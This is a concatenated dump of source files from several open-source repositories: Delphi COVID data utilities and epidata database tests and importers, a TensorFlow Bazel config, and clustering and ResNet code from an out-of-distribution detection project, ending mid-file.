create_fips_msa_crosswalk() zf_df = pd.read_csv(join(OUTPUT_DIR, ZIP_FIPS_OUT_FILENAME), dtype={"zip": str, "fips": str, "weight": float}) fm_df = pd.read_csv(join(OUTPUT_DIR, FIPS_MSA_OUT_FILENAME), dtype={"fips": str, "msa": str}) zf_df = zf_df.merge(fm_df, on="fips").drop(columns="fips").groupby(["msa", "zip"]).sum().reset_index() zf_df.sort_values(["zip", "msa"]).to_csv(join(OUTPUT_DIR, ZIP_MSA_OUT_FILENAME), index=False) def derive_zip_to_state_code(): """Derive a crosswalk between ZIP codes and state information (number, abbreviation, name).""" if not isfile(join(OUTPUT_DIR, STATE_OUT_FILENAME)): create_state_codes_crosswalk() if not isfile(join(OUTPUT_DIR, ZIP_FIPS_OUT_FILENAME)): create_fips_zip_crosswalk() sdf = pd.read_csv(join(OUTPUT_DIR, STATE_OUT_FILENAME), dtype={"state_code": str, "state_id": str, "state_name": str}) zf_cf = pd.read_csv(join(OUTPUT_DIR, ZIP_FIPS_OUT_FILENAME), dtype={"zip": str, "fips": str}) zf_cf["state_code"] = zf_cf["fips"].str[:2] zf_cf = zf_cf.merge(sdf, left_on="state_code", right_on="state_code", how="left").drop(columns=["fips"]) zf_cf.sort_values(["zip", "state_code"]).to_csv(join(OUTPUT_DIR, ZIP_STATE_CODE_OUT_FILENAME), index=False) def derive_fips_hhs_crosswalk(): """Derive a crosswalk between FIPS county codes and HHS regions.""" if not isfile(join(OUTPUT_DIR, STATE_HHS_OUT_FILENAME)): create_state_hhs_crosswalk() if not isfile(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME)): create_fips_population_table() fips_pop = pd.read_csv(join(OUTPUT_DIR, FIPS_POPULATION_OUT_FILENAME), dtype={"fips": str, "pop": int}) megafips = pd.DataFrame({"fips": [fips + "000" for fips in fips_pop.fips.str[:2].unique()], "pop": np.nan}) fips_pop = pd.concat([fips_pop, megafips]) state_hhs = pd.read_csv(join(OUTPUT_DIR, STATE_HHS_OUT_FILENAME), dtype={"state_code": str, "hhs": str}) fips_pop["state_code"] = fips_pop["fips"].str[:2] fips_pop = fips_pop.merge(state_hhs, on="state_code", how="left").drop(columns=["state_code", "pop"]) fips_pop.sort_values(["fips", "hhs"]).to_csv(join(OUTPUT_DIR, FIPS_HHS_FILENAME), index=False) def derive_zip_hhs_crosswalk(): """Derive a crosswalk between zip code and HHS regions.""" if not isfile(join(OUTPUT_DIR, STATE_HHS_OUT_FILENAME)): create_state_hhs_crosswalk() if not isfile(join(OUTPUT_DIR, ZIP_STATE_CODE_OUT_FILENAME)): derive_zip_to_state_code() zip_state = pd.read_csv(join(OUTPUT_DIR, ZIP_STATE_CODE_OUT_FILENAME), dtype={"zip": str, "pop": int, "state_code": str}) state_hhs = pd.read_csv(join(OUTPUT_DIR, STATE_HHS_OUT_FILENAME), dtype={"state_code": str, "hhs": str}) zip_state = zip_state.merge(state_hhs, on="state_code", how="left").drop(columns=["state_code", "state_id", "state_name"]) zip_state.sort_values(["zip", "hhs"]).to_csv(join(OUTPUT_DIR, ZIP_HHS_FILENAME), index=False) def clear_dir(dir_path: str): for fname in listdir(dir_path): remove(join(dir_path, fname)) if __name__ == "__main__": clear_dir(OUTPUT_DIR) create_fips_zip_crosswalk() create_zip_hsa_hrr_crosswalk() create_fips_msa_crosswalk() create_jhu_uid_fips_crosswalk() create_state_codes_crosswalk() create_state_hhs_crosswalk() create_fips_population_table() create_nation_population_table() create_state_population_table() create_hhs_population_table() derive_fips_hrr_crosswalk() derive_zip_msa_crosswalk() derive_zip_to_state_code() derive_fips_state_crosswalk() derive_zip_population_table() derive_fips_hhs_crosswalk() derive_zip_hhs_crosswalk() ``` #### File: delphi_utils/validator/validate.py ```python from .datafetcher import load_all_files from .dynamic import DynamicValidator from .errors import ValidationFailure from .report import ValidationReport from .static import StaticValidator from .utils import aggregate_frames, TimeWindow, end_date_helper class Validator: """Class containing validation() function and supporting functions. Stores a list of all raised errors, and user settings. """ def __init__(self, params): """ Initialize object and set parameters. Arguments: - params: dictionary of user settings read from params.json file; if empty, defaults will be used """ self.export_dir = params["common"]["export_dir"] assert "validation" in params, "params must have a top-level 'validation' object to run "\ "validation" validation_params = params["validation"] suppressed_errors = validation_params["common"].get('suppressed_errors', []) for entry in suppressed_errors: assert isinstance(entry, dict), "suppressed_errors must be a list of objects" assert set(entry.keys()).issubset(["check_name", "date", "geo_type", "signal"]),\ 'suppressed_errors may only have fields "check_name", "date", "geo_type", "signal"' self.suppressed_errors = [ValidationFailure(**entry) for entry in suppressed_errors] # Date/time settings validation_params["common"]["end_date"] = end_date_helper(validation_params) self.time_window = TimeWindow.from_params(validation_params["common"]["end_date"], validation_params["common"]["span_length"]) self.data_source = validation_params["common"].get("data_source", "") self.dry_run = validation_params["common"].get("dry_run", False) self.static_validation = StaticValidator(validation_params) self.dynamic_validation = DynamicValidator(validation_params) def validate(self): """ Run all data checks. Arguments: - export_dir: path to data CSVs Returns: - ValidationReport collating the validation outcomes """ report = ValidationReport(self.suppressed_errors, self.data_source, self.dry_run) frames_list = load_all_files(self.export_dir, self.time_window.start_date, self.time_window.end_date) self.static_validation.validate(frames_list, report) all_frames = aggregate_frames(frames_list) self.dynamic_validation.validate(all_frames, report) return report ``` #### File: _delphi_utils_python/tests/test_runner.py ```python import mock import pytest from delphi_utils.validator.report import ValidationReport from delphi_utils.validator.errors import ValidationFailure from delphi_utils.runner import run_indicator_pipeline @pytest.fixture def mock_indicator_fn(): """Set up a mock indicator function.""" yield mock.Mock() @pytest.fixture def mock_validator_fn(): """Set up a mock validator function.""" validator_fn = mock.Mock() validator = mock.Mock() validator_fn.return_value = validator validator.validate.return_value = ValidationReport([]) yield validator_fn @pytest.fixture def mock_archiver_fn(): """Set up a mock archiver function.""" archiver_fn = mock.Mock() archiver = mock.Mock() archiver_fn.return_value = archiver yield archiver_fn class TestRunIndicator: """Fixture for running indicators.""" # arbitrary params to pass to function generators PARAMS = { "common": {}, "indicator": {"a": 1}, "validation": {"b": 2}, "archive": {"c": 3} } @mock.patch("delphi_utils.runner.read_params") def test_full_run(self, mock_read_params, mock_indicator_fn, mock_validator_fn, mock_archiver_fn): """Test that pipeline runs with validation and archiving.""" mock_read_params.return_value = self.PARAMS run_indicator_pipeline(mock_indicator_fn, mock_validator_fn, mock_archiver_fn) mock_indicator_fn.assert_called_once_with(self.PARAMS) mock_validator_fn.assert_called_once_with(self.PARAMS) mock_archiver_fn.assert_called_once_with(self.PARAMS) mock_validator_fn.return_value.validate.assert_called_once() mock_archiver_fn.return_value.run.assert_called_once() @mock.patch("delphi_utils.runner.read_params") def test_failed_validation(self, mock_read_params, mock_indicator_fn, mock_validator_fn, mock_archiver_fn): """Test that archiving is not called when validation fails.""" mock_read_params.return_value = self.PARAMS report = mock_validator_fn.return_value.validate.return_value report.add_raised_error(ValidationFailure("", "2020-10-10", "")) run_indicator_pipeline(mock_indicator_fn, mock_validator_fn, mock_archiver_fn) mock_indicator_fn.assert_called_once_with(self.PARAMS) mock_validator_fn.assert_called_once_with(self.PARAMS) mock_archiver_fn.assert_called_once_with(self.PARAMS) mock_validator_fn.return_value.validate.assert_called_once() mock_archiver_fn.return_value.run.assert_not_called() @mock.patch("delphi_utils.runner.read_params") def test_indicator_only(self, mock_read_params, mock_indicator_fn): """Test that pipeline runs without validation or archiving.""" mock_read_params.return_value = self.PARAMS mock_null_validator_fn = mock.Mock(return_value=None) mock_null_archiver_fn = mock.Mock(return_value=None) run_indicator_pipeline(mock_indicator_fn, mock_null_validator_fn, mock_null_archiver_fn) mock_indicator_fn.assert_called_once_with(self.PARAMS) mock_null_validator_fn.assert_called_once_with(self.PARAMS) mock_null_archiver_fn.assert_called_once_with(self.PARAMS) # calling again with no extra arguments should not fail run_indicator_pipeline(mock_indicator_fn) @mock.patch("delphi_utils.runner.read_params") def test_no_validation(self, mock_read_params, mock_indicator_fn, mock_archiver_fn): """Test that pipeline run without validation.""" mock_read_params.return_value = self.PARAMS run_indicator_pipeline(mock_indicator_fn, archiver_fn=mock_archiver_fn) mock_indicator_fn.assert_called_once_with(self.PARAMS) mock_archiver_fn.assert_called_once_with(self.PARAMS) mock_archiver_fn.return_value.run.assert_called_once() @mock.patch("delphi_utils.runner.read_params") def test_no_archive(self, mock_read_params, mock_indicator_fn, mock_validator_fn): """Test that pipeline runs without archiving.""" mock_read_params.return_value = self.PARAMS run_indicator_pipeline(mock_indicator_fn, validator_fn=mock_validator_fn) mock_indicator_fn.assert_called_once_with(self.PARAMS) mock_validator_fn.assert_called_once_with(self.PARAMS) mock_validator_fn.return_value.validate.assert_called_once() ``` #### File: hhs_facilities/delphi_hhs_facilities/generate_signals.py ```python from typing import Callable import pandas as pd import numpy as np from delphi_utils import Nans def add_nancodes(df): """Add nancodes to a signal dataframe.""" # Default missingness codes df["missing_val"] = Nans.NOT_MISSING df["missing_se"] = Nans.NOT_APPLICABLE df["missing_sample_size"] = Nans.NOT_APPLICABLE # Mark any remaining nans with unknown remaining_nans_mask = df["val"].isnull() df.loc[remaining_nans_mask, "missing_val"] = Nans.OTHER return df def generate_signal(df: pd.DataFrame, input_cols: list, signal_func: Callable, date_offset: int) -> pd.DataFrame: """ Generate a signal DataFrame derived from an input DataFrame. Applies the provided function on the columns specified, and then aggregates by geo and time. Parameters ---------- df: pd.DataFrame Input DataFrame containing columns specified in `input_cols`. input_cols: list of strings List of column names to pass to `signal_func`. signal_func: function Function which takes in a list of Series and produces a signal Series. date_offset: integer Number of days to add to the timestamp. This is used because some of the columns are "previous_day_<metric>" and require us adding -1 days to represent the right timespan. Returns ------- Signal DataFrame that is ready for `create_export_csv`. """ df_cols = [df[i] for i in input_cols] df["val"] = signal_func(df_cols) df["timestamp"] = df["timestamp"] + pd.Timedelta(days=date_offset) df = df.groupby(["timestamp", "geo_id"], as_index=False).sum(min_count=1) df["se"] = df["sample_size"] = np.nan df = add_nancodes(df) export_columns = [ "timestamp", "geo_id", "val", "se", "sample_size", "missing_val", "missing_se", "missing_sample_size"] return df[export_columns] def sum_cols(cols: list) -> pd.Series: """ Sum a list of Series, requiring 1 non-nan value per row sum. Parameters ---------- cols: list of Series List of Series to sum. Returns ------- Series of summed inputs. """ return pd.concat(cols, axis=1).sum(axis=1, min_count=1) ```
{ "source": "jingjtang/delphi-epidata", "score": 2 }
#### File: acquisition/covidcast/test_covidcast_meta_caching.py ```python import json import unittest # third party import mysql.connector import requests # first party from delphi.epidata.client.delphi_epidata import Epidata import delphi.operations.secrets as secrets import delphi.epidata.acquisition.covidcast.database as live # py3tester coverage target (equivalent to `import *`) __test_target__ = ( 'delphi.epidata.acquisition.covidcast.' 'covidcast_meta_cache_updater' ) # use the local instance of the Epidata API BASE_URL = 'http://delphi_web_epidata/epidata/api.php' class CovidcastMetaCacheTests(unittest.TestCase): """Tests covidcast metadata caching.""" def setUp(self): """Perform per-test setup.""" # connect to the `epidata` database cnx = mysql.connector.connect( user='user', password='<PASSWORD>', host='delphi_database_epidata', database='epidata') cur = cnx.cursor() # clear the `covidcast` table cur.execute('truncate table covidcast') # reset the `covidcast_meta_cache` table (it should always have one row) cur.execute('update covidcast_meta_cache set timestamp = 0, epidata = ""') cnx.commit() cur.close() # make connection and cursor available to test cases self.cnx = cnx self.cur = cnx.cursor() # use the local instance of the epidata database secrets.db.host = 'delphi_database_epidata' secrets.db.epi = ('user', 'pass') # use the local instance of the Epidata API Epidata.BASE_URL = BASE_URL def tearDown(self): """Perform per-test teardown.""" self.cur.close() self.cnx.close() def test_caching(self): """Populate, query, cache, query, and verify the cache.""" # insert dummy data self.cur.execute(''' insert into covidcast values (0, 'src', 'sig', 'day', 'state', 20200422, 'pa', 123, 1, 2, 3, 456, 1, 20200422, 0, 1, False), (0, 'src', 'sig', 'day', 'state', 20200422, 'wa', 789, 1, 2, 3, 456, 1, 20200423, 1, 1, False) ''') self.cur.execute(''' insert into covidcast values (100, 'src', 'wip_sig', 'day', 'state', 20200422, 'pa', 456, 4, 5, 6, 789, -1, 20200422, 0, 1, True) ''') self.cnx.commit() # make sure the live utility is serving something sensible cvc_database = live.Database() cvc_database.connect() epidata1 = cvc_database.get_covidcast_meta() cvc_database.disconnect(False) self.assertEqual(len(epidata1),1) self.assertEqual(epidata1, [ { 'data_source': 'src', 'signal': 'sig', 'time_type': 'day', 'geo_type': 'state', 'min_time': 20200422, 'max_time': 20200422, 'num_locations': 2, 'last_update': 789, 'min_value': 1, 'max_value': 1, 'mean_value': 1, 'stdev_value': 0, 'max_issue': 20200423, 'min_lag': 0, 'max_lag': 1, } ]) epidata1={'result':1, 'message':'success', 'epidata':epidata1} # make sure the API covidcast_meta is still blank, since it only serves # the cached version and we haven't cached anything yet epidata2 = Epidata.covidcast_meta() self.assertEqual(epidata2['result'], -2, json.dumps(epidata2)) # update the cache args = None main(args) # fetch the cached version epidata3 = Epidata.covidcast_meta() # cached version should now equal live version self.assertEqual(epidata1, epidata3) # insert dummy data timestamped as of now self.cur.execute(''' update covidcast_meta_cache set timestamp = UNIX_TIMESTAMP(NOW()), epidata = '[{"hello": "world"}]' ''') self.cnx.commit() # fetch the cached version (manually) params = {'source': 'covidcast_meta', 'cached': 'true'} response = requests.get(BASE_URL, params=params) response.raise_for_status() epidata4 = response.json() # make sure the cache was actually served self.assertEqual(epidata4, { 'result': 1, 'epidata': [{ 'hello': 'world', }], 'message': 'success', }) # insert dummy data timestamped as 2 hours old self.cur.execute(''' update covidcast_meta_cache set timestamp = UNIX_TIMESTAMP(NOW()) - 3600 * 2, epidata = '[{"hello": "world"}]' ''') self.cnx.commit() # fetch the cached version (manually) params = {'source': 'covidcast_meta', 'cached': 'true'} response = requests.get(BASE_URL, params=params) response.raise_for_status() epidata5 = response.json() # make sure the cache was returned anyhow self.assertEqual(epidata4, epidata5) ``` #### File: acquisition/covidcast/csv_to_database.py ```python import argparse import os # first party from delphi.epidata.acquisition.covidcast.csv_importer import CsvImporter from delphi.epidata.acquisition.covidcast.database import Database, CovidcastRow from delphi.epidata.acquisition.covidcast.file_archiver import FileArchiver def get_argument_parser(): """Define command line arguments.""" parser = argparse.ArgumentParser() parser.add_argument( '--data_dir', help='top-level directory where CSVs are stored') parser.add_argument( '--specific_issue_date', action='store_true', help='indicates <data_dir> argument is where issuedate-specific subdirectories can be found. also enables --*_wip_override arguments.') # TODO: better options for wip overriding, such sa mutual exclusion and such parser.add_argument( '--is_wip_override', action='store_true', help='overrides all signals to mark them as WIP. NOTE: specify neither or only one of --is_wip_override and --not_wip_override.') parser.add_argument( '--not_wip_override', action='store_true', help='overrides all signals to mark them as *not* WIP. NOTE: specify neither or only one of --is_wip_override and --not_wip_override.') return parser def scan_issue_specific(data_dir, database, is_wip_override=None, csv_importer_impl=CsvImporter, file_archiver_impl=FileArchiver): """ is_wip_override: None (default) for standard 'wip_' prefix processing, True for forcing all as WIP, False for forcing all as not WIP" """ # TODO: better docstring # TODO: this has *A LOT* of copypasta from scan_upload_archive() ... make it less so # collect files results = list(csv_importer_impl.find_issue_specific_csv_files(data_dir)) print('found %d files' % len(results)) # iterate over each file for path, details in results: print('handling ', path) path_src, filename = os.path.split(path) if not details: # file path or name was invalid, source is unknown print('unknown file, leaving alone:', path) continue (source, signal, time_type, geo_type, time_value, issue, lag) = details if is_wip_override is None: is_wip = signal[:4].lower() == "wip_" else: is_wip = is_wip_override # we are overriding, so remove prefix if it exists if signal[:4].lower() == "wip_": signal = signal[4:] # prepend (or put back) prefix if we are forcing as WIP if is_wip: signal = "wip_" + signal csv_rows = csv_importer_impl.load_csv(path, geo_type) cc_rows = CovidcastRow.fromCsvRows(csv_rows, source, signal, time_type, geo_type, time_value, issue, lag, is_wip) rows_list = list(cc_rows) all_rows_valid = rows_list and all(r is not None for r in rows_list) if all_rows_valid: try: result = database.insert_or_update_bulk(rows_list) print(f"insert_or_update_bulk {filename} returned {result}") if result is None or result: # else would indicate zero rows inserted database.commit() except Exception as e: all_rows_valid = False print('exception while inserting rows:', e) database.rollback() # archive the current file based on validation results if all_rows_valid: print('archiving as successful') file_archiver_impl.archive_inplace(path_src, filename) else: print('unsuccessful - not archiving file') # TODO: consider extending is_wip_override behavior option to this method def scan_upload_archive( data_dir, database, csv_importer_impl=CsvImporter, file_archiver_impl=FileArchiver): """Find CSVs, upload them to the database, and archive them. data_dir: top-level directory where CSVs are stored database: an open connection to the epidata database The CSV storage layout is assumed to be as follows: - Receiving: <data_dir>/receiving/<source name>/*.csv - Archival: <data_dir>/archive/<status>/<source name>/*.csv[.gz] Status above is one of `successful` or `failed`. See the accompanying readme for further details. """ receiving_dir = os.path.join(data_dir, 'receiving') archive_successful_dir = os.path.join(data_dir, 'archive', 'successful') archive_failed_dir = os.path.join(data_dir, 'archive', 'failed') # helper to archive a failed file without compression def archive_as_failed(path_src, filename, source): print('archiving as failed - '+source) path_dst = os.path.join(archive_failed_dir, source) compress = False file_archiver_impl.archive_file(path_src, path_dst, filename, compress) # helper to archive a successful file with compression def archive_as_successful(path_src, filename, source): print('archiving as successful') path_dst = os.path.join(archive_successful_dir, source) compress = True file_archiver_impl.archive_file(path_src, path_dst, filename, compress) # collect files results = list(csv_importer_impl.find_csv_files(receiving_dir)) print('found %d files' % len(results)) # iterate over each file for path, details in results: print('handling ', path) path_src, filename = os.path.split(path) if not details: # file path or name was invalid, source is unknown archive_as_failed(path_src, filename, 'unknown') continue (source, signal, time_type, geo_type, time_value, issue, lag) = details is_wip = signal[:4].lower() == "wip_" csv_rows = csv_importer_impl.load_csv(path, geo_type) cc_rows = CovidcastRow.fromCsvRows(csv_rows, source, signal, time_type, geo_type, time_value, issue, lag, is_wip) rows_list = list(cc_rows) all_rows_valid = rows_list and all(r is not None for r in rows_list) if all_rows_valid: try: result = database.insert_or_update_bulk(rows_list) print(f"insert_or_update_bulk {filename} returned {result}") if result is None or result: # else would indicate zero rows inserted database.commit() except Exception as e: all_rows_valid = False print('exception while inserting rows:', e) database.rollback() # archive the current file based on validation results if all_rows_valid: archive_as_successful(path_src, filename, source) else: archive_as_failed(path_src, filename, source) def main( args, database_impl=Database, scan_upload_archive_impl=scan_upload_archive, scan_issue_specific_impl=scan_issue_specific): """Find, parse, and upload covidcast signals.""" if args.is_wip_override and args.not_wip_override: print('conflicting overrides for forcing WIP option! exiting...') exit() wip_override = None if args.is_wip_override: wip_override = True if args.not_wip_override: wip_override = False database = database_impl() database.connect() num_starting_rows = database.count_all_rows() try: if args.specific_issue_date: scan_issue_specific_impl(args.data_dir, database, is_wip_override=wip_override) else: scan_upload_archive_impl(args.data_dir, database) finally: # no catch block so that an exception above will cause the program to fail # after the following cleanup try: num_inserted_rows = database.count_all_rows() - num_starting_rows print('inserted/updated %d rows' % num_inserted_rows) finally: # unconditionally commit database changes since CSVs have been archived database.disconnect(True) if __name__ == '__main__': main(get_argument_parser().parse_args()) ``` #### File: acquisition/covid_hosp/database.py ```python from contextlib import contextmanager import math # third party import mysql.connector # first party import delphi.operations.secrets as secrets class Database: # These are the names that appear in the CSV header, in order of appeareance # in the database table. However, note that the corresponding database column # names may be shorter due to constraints on the length of column names. See # /src/ddl/covid_hosp.sql for more information. ORDERED_CSV_COLUMNS = [ 'state', 'date', 'hospital_onset_covid', 'hospital_onset_covid_coverage', 'inpatient_beds', 'inpatient_beds_coverage', 'inpatient_beds_used', 'inpatient_beds_used_coverage', 'inpatient_beds_used_covid', 'inpatient_beds_used_covid_coverage', 'previous_day_admission_adult_covid_confirmed', 'previous_day_admission_adult_covid_confirmed_coverage', 'previous_day_admission_adult_covid_suspected', 'previous_day_admission_adult_covid_suspected_coverage', 'previous_day_admission_pediatric_covid_confirmed', 'previous_day_admission_pediatric_covid_confirmed_coverage', 'previous_day_admission_pediatric_covid_suspected', 'previous_day_admission_pediatric_covid_suspected_coverage', 'staffed_adult_icu_bed_occupancy', 'staffed_adult_icu_bed_occupancy_coverage', 'staffed_icu_adult_patients_confirmed_and_suspected_covid', 'staffed_icu_adult_patients_confirmed_and_suspected_covid_coverage', 'staffed_icu_adult_patients_confirmed_covid', 'staffed_icu_adult_patients_confirmed_covid_coverage', 'total_adult_patients_hospitalized_confirmed_and_suspected_covid', 'total_adult_patients_hospitalized_confirmed_and_suspected_covid_coverage', 'total_adult_patients_hospitalized_confirmed_covid', 'total_adult_patients_hospitalized_confirmed_covid_coverage', 'total_pediatric_patients_hospitalized_confirmed_and_suspected_covid', 'total_pediatric_patients_hospitalized_confirmed_and_suspected_covid_coverage', 'total_pediatric_patients_hospitalized_confirmed_covid', 'total_pediatric_patients_hospitalized_confirmed_covid_coverage', 'total_staffed_adult_icu_beds', 'total_staffed_adult_icu_beds_coverage', 'inpatient_beds_utilization', 'inpatient_beds_utilization_coverage', 'inpatient_beds_utilization_numerator', 'inpatient_beds_utilization_denominator', 'percent_of_inpatients_with_covid', 'percent_of_inpatients_with_covid_coverage', 'percent_of_inpatients_with_covid_numerator', 'percent_of_inpatients_with_covid_denominator', 'inpatient_bed_covid_utilization', 'inpatient_bed_covid_utilization_coverage', 'inpatient_bed_covid_utilization_numerator', 'inpatient_bed_covid_utilization_denominator', 'adult_icu_bed_covid_utilization', 'adult_icu_bed_covid_utilization_coverage', 'adult_icu_bed_covid_utilization_numerator', 'adult_icu_bed_covid_utilization_denominator', 'adult_icu_bed_utilization', 'adult_icu_bed_utilization_coverage', 'adult_icu_bed_utilization_numerator', 'adult_icu_bed_utilization_denominator', ] def __init__(self, connection): """Create a new Database object. Parameters ---------- connection An open connection to a database. """ self.connection = connection @contextmanager def connect(mysql_connector_impl=mysql.connector): """Connect to a database and provide the connection as a context manager. As long as the context manager exits normally, the connection's transaction will be committed. Otherwise, if the context is exited by an Exception, the transaction will be rolled back. In any case, the connection will be gracefully closed upon exiting the context manager. """ # connect to the database user, password = secrets.db.epi connection = mysql_connector_impl.connect( host=secrets.db.host, user=user, password=password, database='epidata') try: # provide the connection to the context manager yield Database(connection) # rollback by default; the following commit will only take place if no # exception was raised in calling code connection.commit() finally: # close the connection in any case connection.close() @contextmanager def new_cursor(self): """Create and provide a database cursor as a context manager. The cursor will be gracefully closed upon exiting the context manager. """ cursor = self.connection.cursor() try: yield cursor finally: cursor.close() def contains_revision(self, revision): """Return whether the given revision already exists in the database. Parameters ---------- revision : str Unique revision string. Returns ------- bool True iff the revision already exists. """ with self.new_cursor() as cursor: cursor.execute(''' SELECT count(1) > 0 FROM `covid_hosp_meta` WHERE `revision_timestamp` = %s ''', (revision,)) for (result,) in cursor: return bool(result) def insert_metadata(self, issue, revision, meta_json): """Add revision metadata to the database. Parameters ---------- issue : int Issue of the dataset in YYYYMMDD format. revision : str Unique revision string. meta_json : str Metadata serialized as a JSON string. """ with self.new_cursor() as cursor: cursor.execute(''' INSERT INTO `covid_hosp_meta` ( `issue`, `revision_timestamp`, `metadata_json`, `acquisition_datetime` ) VALUES (%s, %s, %s, NOW()) ''', (issue, revision, meta_json)) def insert_dataset(self, issue, dataframe): """Add revision metadata to the database. Parameters ---------- issue : int Issue of the dataset in YYYYMMDD format. dataframe : pandas.DataFrame The dataset. """ # the database requires `nan` to be converted to `None` for `NULL` values dataframe = dataframe.replace({math.nan: None}) num_columns = 2 + len(Database.ORDERED_CSV_COLUMNS) value_placeholders = ', '.join(['%s'] * num_columns) sql = f''' INSERT INTO `covid_hosp` VALUES ({value_placeholders}) ''' id_and_issue = (0, issue) with self.new_cursor() as cursor: for _, row in dataframe.iterrows(): values = tuple(row[name] for name in Database.ORDERED_CSV_COLUMNS) cursor.execute(sql, id_and_issue + values) ``` #### File: acquisition/covidcast/test_covidcast_meta_cache_updater.py ```python import argparse import unittest from unittest.mock import MagicMock # third party import pandas # py3tester coverage target __test_target__ = ( 'delphi.epidata.acquisition.covidcast.' 'covidcast_meta_cache_updater' ) class UnitTests(unittest.TestCase): """Basic unit tests.""" def test_get_argument_parser(self): """Return a parser for command-line arguments.""" self.assertIsInstance(get_argument_parser(), argparse.ArgumentParser) def test_main_successful(self): """Run the main program successfully.""" api_response = { 'result': 1, 'message': 'yes', 'epidata': [{'foo': 'bar'}], } args = None mock_epidata_impl = MagicMock() mock_epidata_impl.covidcast_meta.return_value = api_response mock_database = MagicMock() mock_database.get_covidcast_meta.return_value=api_response['epidata'] fake_database_impl = lambda: mock_database main( args, epidata_impl=mock_epidata_impl, database_impl=fake_database_impl) self.assertTrue(mock_database.connect.called) self.assertTrue(mock_database.update_covidcast_meta_cache.called) actual_args = mock_database.update_covidcast_meta_cache.call_args[0] expected_args = (api_response['epidata'],) self.assertEqual(actual_args, expected_args) self.assertTrue(mock_database.disconnect.called) self.assertTrue(mock_database.disconnect.call_args[0][0]) def test_main_failure(self): """Run the main program with a query failure.""" api_response = { 'result': -123, 'message': 'no', } args = None mock_database = MagicMock() mock_database.get_covidcast_meta.return_value = list() fake_database_impl = lambda: mock_database main(args, epidata_impl=None, database_impl=fake_database_impl) self.assertTrue(mock_database.get_covidcast_meta.called) ```
{ "source": "jingjunLi/tensorflow-multi-stream", "score": 2 }
#### File: platform/default/build_config_root.bzl ```python WITH_XLA_SUPPORT = True def tf_cuda_tests_tags(): return ["local"] def tf_sycl_tests_tags(): return ["local"] def tf_additional_plugin_deps(): deps = [] if WITH_XLA_SUPPORT: deps.append("//tensorflow/compiler/jit") return deps def tf_additional_xla_deps_py(): return [] def tf_additional_license_deps(): licenses = [] if WITH_XLA_SUPPORT: licenses.append("@llvm//:LICENSE.TXT") return licenses ```
{ "source": "Jingkang50/ICCV21_SCOOD", "score": 3 }
#### File: ICCV21_SCOOD/scood/k_means.py ```python import time import faiss import numpy as np def preprocess_features(npdata, pca=256): """Preprocess an array of features. Args: npdata (np.array N * ndim): features to preprocess pca (int): dim of output Returns: np.array of dim N * pca: data PCA-reduced, whitened and L2-normalized """ _, ndim = npdata.shape npdata = npdata.astype("float32") # Apply PCA-whitening with Faiss mat = faiss.PCAMatrix(ndim, pca, eigen_power=-0.5) mat.train(npdata) assert mat.is_trained npdata = mat.apply_py(npdata) # L2 normalization row_sums = np.linalg.norm(npdata, axis=1) npdata = npdata / row_sums[:, np.newaxis] return npdata def run_kmeans(x, nmb_clusters, verbose=False): """Runs kmeans on 1 GPU. Args: x: data nmb_clusters (int): number of clusters Returns: list: ids of data in each cluster """ n_data, d = x.shape # faiss implementation of k-means clus = faiss.Clustering(d, nmb_clusters) # Change faiss seed at each k-means so that the randomly picked # initialization centroids do not correspond to the same feature ids # from an epoch to another. clus.seed = np.random.randint(1234) clus.niter = 20 clus.max_points_per_centroid = 10000000 res = faiss.StandardGpuResources() flat_config = faiss.GpuIndexFlatConfig() flat_config.useFloat16 = False flat_config.device = 0 index = faiss.GpuIndexFlatL2(res, d, flat_config) # perform the training clus.train(x, index) _, I = index.search(x, 1) return I.reshape( -1, ) class KMeans(object): def __init__(self, k, pca_dim): self.k = k self.pca_dim = pca_dim def cluster(self, data, verbose=True): """Performs k-means clustering. Args: x_data (np.array N * dim): data to cluster """ # PCA-reducing, whitening and L2-normalization xb = preprocess_features(data, pca=self.pca_dim) if np.isnan(xb).any(): row_sums = np.linalg.norm(data, axis=1) data_norm = data / row_sums[:, np.newaxis] if np.isnan(data_norm).any(): I = run_kmeans(data_norm, self.k, verbose) else: I = run_kmeans(data, self.k, verbose) else: # cluster the data I = run_kmeans(xb, self.k, verbose) return I ``` #### File: scood/networks/resnet18.py ```python import torch.nn as nn import torch.nn.functional as F class BasicBlock(nn.Module): expansion = 1 def __init__(self, in_planes, planes, stride=1): super(BasicBlock, self).__init__() self.conv1 = nn.Conv2d( in_planes, planes, kernel_size=3, stride=stride, padding=1, bias=False ) self.bn1 = nn.BatchNorm2d(planes) self.conv2 = nn.Conv2d( planes, planes, kernel_size=3, stride=1, padding=1, bias=False ) self.bn2 = nn.BatchNorm2d(planes) self.shortcut = nn.Sequential() if stride != 1 or in_planes != self.expansion * planes: self.shortcut = nn.Sequential( nn.Conv2d( in_planes, self.expansion * planes, kernel_size=1, stride=stride, bias=False, ), nn.BatchNorm2d(self.expansion * planes), ) def forward(self, x): out = F.relu(self.bn1(self.conv1(x))) out = self.bn2(self.conv2(out)) out += self.shortcut(x) out = F.relu(out) return out class Bottleneck(nn.Module): expansion = 4 def __init__(self, in_planes, planes, stride=1): super(Bottleneck, self).__init__() self.conv1 = nn.Conv2d(in_planes, planes, kernel_size=1, bias=False) self.bn1 = nn.BatchNorm2d(planes) self.conv2 = nn.Conv2d( planes, planes, kernel_size=3, stride=stride, padding=1, bias=False ) self.bn2 = nn.BatchNorm2d(planes) self.conv3 = nn.Conv2d( planes, self.expansion * planes, kernel_size=1, bias=False ) self.bn3 = nn.BatchNorm2d(self.expansion * planes) self.shortcut = nn.Sequential() if stride != 1 or in_planes != self.expansion * planes: self.shortcut = nn.Sequential( nn.Conv2d( in_planes, self.expansion * planes, kernel_size=1, stride=stride, bias=False, ), nn.BatchNorm2d(self.expansion * planes), ) def forward(self, x): out = F.relu(self.bn1(self.conv1(x))) out = F.relu(self.bn2(self.conv2(out))) out = self.bn3(self.conv3(out)) out += self.shortcut(x) out = F.relu(out) return out class ResNet18(nn.Module): def __init__(self, block=BasicBlock, num_blocks=None, num_classes=10, dim_aux=0): super(ResNet18, self).__init__() if num_blocks is None: num_blocks = [2, 2, 2, 2] self.in_planes = 64 self.conv1 = nn.Conv2d(3, 64, kernel_size=3, stride=1, padding=1, bias=False) self.bn1 = nn.BatchNorm2d(64) self.layer1 = self._make_layer(block, 64, num_blocks[0], stride=1) self.layer2 = self._make_layer(block, 128, num_blocks[1], stride=2) self.layer3 = self._make_layer(block, 256, num_blocks[2], stride=2) self.layer4 = self._make_layer(block, 512, num_blocks[3], stride=2) self.avgpool = nn.AvgPool2d(4) self.fc = 